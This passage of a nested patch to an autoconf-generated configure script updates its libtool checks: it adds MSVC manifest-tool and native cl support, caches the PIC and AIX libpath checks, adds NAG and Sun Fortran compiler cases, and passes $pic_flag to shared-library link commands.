-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7926,6 +8423,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8091,7 +8590,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8180,7 +8680,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8478,8 +8978,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8645,6 +9143,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8707,7 +9211,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8764,13 +9268,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8831,6 +9339,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9181,7 +9694,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9280,12 +9794,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9299,8 +9813,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9318,8 +9832,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9365,8 +9879,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9496,7 +10010,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9509,22 +10029,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9536,7 +10063,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9549,22 +10082,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9609,20 +10149,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9683,7 +10266,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9691,7 +10274,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9707,7 +10290,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9731,10 +10314,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9813,23 +10396,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9914,7 +10510,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9933,9 +10529,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10511,8 +11107,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10545,13 +11142,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
